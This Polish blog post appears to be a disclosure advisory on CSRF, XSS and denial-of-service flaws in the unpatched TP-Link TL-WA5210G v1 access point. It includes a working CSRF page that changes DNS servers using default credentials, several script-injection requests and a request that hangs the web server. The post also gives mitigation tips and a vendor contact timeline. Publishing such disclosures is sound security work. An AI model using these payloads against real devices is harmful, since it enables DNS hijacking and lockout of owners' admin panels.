TP-Link TL-WA5210G – CSRF, kilka podatności XSS oraz DoS

Niedawno w moje ręce wpadł TP-Link TL-WA5210G v1, brat bliźniak Ubiquiti NanoStation 2. Całkiem popularne urządzenie w Polsce i za granicą, zwłaszcza wśród niewielkich ISP dostarczających łącza drogą radiową. Pierwsza wersja tego urządzenia, która jest tematem tego posta, została już wycofana z produkcji. Druga jest w trakcie tego procesu. Przyjrzałem się temu urządzeniu i udało mi się znaleźć parę ciekawych słabości 🙂

WA5210GTP-Link TL-WA5210G

Urządzenie na którym zostały odkryte luki działało pod kontrolą firmware w wersji 4.4.8 Build 130502 Rel.61441n w trybie AP Client Router. Poniższe “dziury” są obecne we wszystkich wersjach oprogramowania. Z informacji uzyskanych od producenta dowiedziałem się, że była to ostatnia wersja firmware i poprawki nie będą już publikowane.

Podatności CSRF

Webowy panel administratora nie posiada mechanizmów zabezpieczających przed atakami Cross-site request forgery. W połączeniu z domyślną konfiguracją adresacji sieci oraz fabrycznymi poświadczeniami administratora urządzenia (tradycyjnie: użytkownik: admin, hasło: admin) pozwalają na modyfikację wszystkich ustawień urządzenia (adresacja sieci, serwery DNS, zdalne zarządzanie itp.) poprzez odwiedzenie złośliwej strony przez użytkownika (bez jego ingerencji).

Kod wykorzystujący podatność (zmiana DNS):

<html>
	<head>
		<title>PoC - CSRF - TP-Link TL-WA5210G</title>
	</head>
	<body>
		<img src = "http://admin:admin@192.168.1.254">
		<img src = "http://192.168.1.254/userRpm/WanDynamicIpCfgRpm.htm?wantype=Dynamic+IP&hostName=&mtu=1500&manual=2&dnsserver=1.1.1.1&dnsserver2=2.2.2.2&Save=Save">
	</body>
</html>

Podatności XSS

WA5210G większość danych konfiguracyjnych w panelu administratora przechowuje w tablicach JavaScript. Nie byłoby to groźne gdyby nie fakt, że urządzeniu brakuje skutecznego filtrowania danych od użytkownika. XSSy na wielu podstronach aplikacji webowej gotowe! 😉

Żądanie umieszczające złośliwy kod JS w podatnym parametrze hostName:

GET /userRpm/WanDynamicIpCfgRpm.htm?wantype=Dynamic+IP&hostName=%3C%2Fscript%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&mtu=1500&Save=Save

J/w, podatne parametry: usename, cliUrl

GET /userRpm/DynDdnsRpm.htm?provider=2&username=abcdef&pwd=abcdef&cliUrl=%3C%2Fscript%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&Save=Save
GET /userRpm/DynDdnsRpm.htm?provider=2&username=%3C%2Fscript%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&pwd=aaaaa&cliUrl=aaa.pl&Save=Save

J/w, podatne parametry: pskSecret, radiusSecret

GET /userRpm/WlanSecurityRpm.htm?wepSecOpt=3&keytype=1&key1=&length1=0&key2=&length2=0&key3=&length3=0&key4=&length4=0&wpaSecOpt=3&wpaCipher=1&radiusIp=&radiusPort=1812&radiusSecret=&wpaInterval=0&secType=3&pskSecOpt=3&pskCipher=1&pskSecret=%3C%2Fscript%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&pskInterval=0&Save=Save
GET /userRpm/WlanSecurityRpm.htm?secType=0&wepSecOpt=3&keytype=1&keynum=1&key1=&length1=0&key2=&length2=0&key3=&length3=0&key4=&length4=0&wpaSecOpt=3&wpaCipher=1&radiusIp=&radiusPort=1812&radiusSecret=%3C%2Fscript%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&wpaInterval=86400&pskSecOpt=3&pskCipher=1&pskSecret=&pskInterval=86400&Save=Save

J/w, podatne parametry: sysContact, sysName, sysLocation

GET /userRpm/SnmpSystemCfgRpm.htm?sysContact=%3C%2Fscript%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&sysName=B&sysLocation=C1&Save=Save

DoS serwera HTTP

Wysłanie żądania HTTP z niewłaściwym nagłówkiem Accept-Encoding powoduje zawieszenie serwera HTTP odpowiedzialnego za obsługę panelu administracyjnego i w konsekwencji brak możliwości wejścia na stronę konfiguracji routera do momentu restartu urządzenia.

Przykładowe złośliwe żądanie:

GET / HTTP/1.1
Host: 192.168.1.254
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
DNT: 1
Referer: http://192.168.1.254/userRpm/SystemLogRpm.htm
Connection: keep-alive
Cache-Control: max-age=0

Co zrobić gdy posiadam takie urządzenie?

Kilka wskazówek:

  • Po pierwsze, zmień hasło administratora na odpowiednio silne: minimum 8 znaków, składające się z dużych i małych liter, cyfr i znaków specjalnych.
  • Zmień podsieć z której korzystasz (domyślnie 192.168.1.0/24) na nietypową dla tego typu urządzeń, na przykład 192.168.77.0/24.
  • Jeżeli masz firmware w wersji niższej niż 4.4.8 Build 130502 Rel.61441n to zaktualizuj je do najnowszego, mimo, że też jest podatne na w/w luki.

Kalendarium komunikacji z TP-Linkiem

  • 18.05.2015 – Pierwszy mail do producenta.
  • 20.05.2015 – Przekazanie szczegółów technicznych podatności.
  • 26.05.2015 – Powiadomienie o przekazaniu sprawy do badania.
  • 27.05.2015 – Odpowiedź o zaniechaniu wsparcia urządzenia i braku możliwości wydania poprawek, publikacja szczegółow podatności.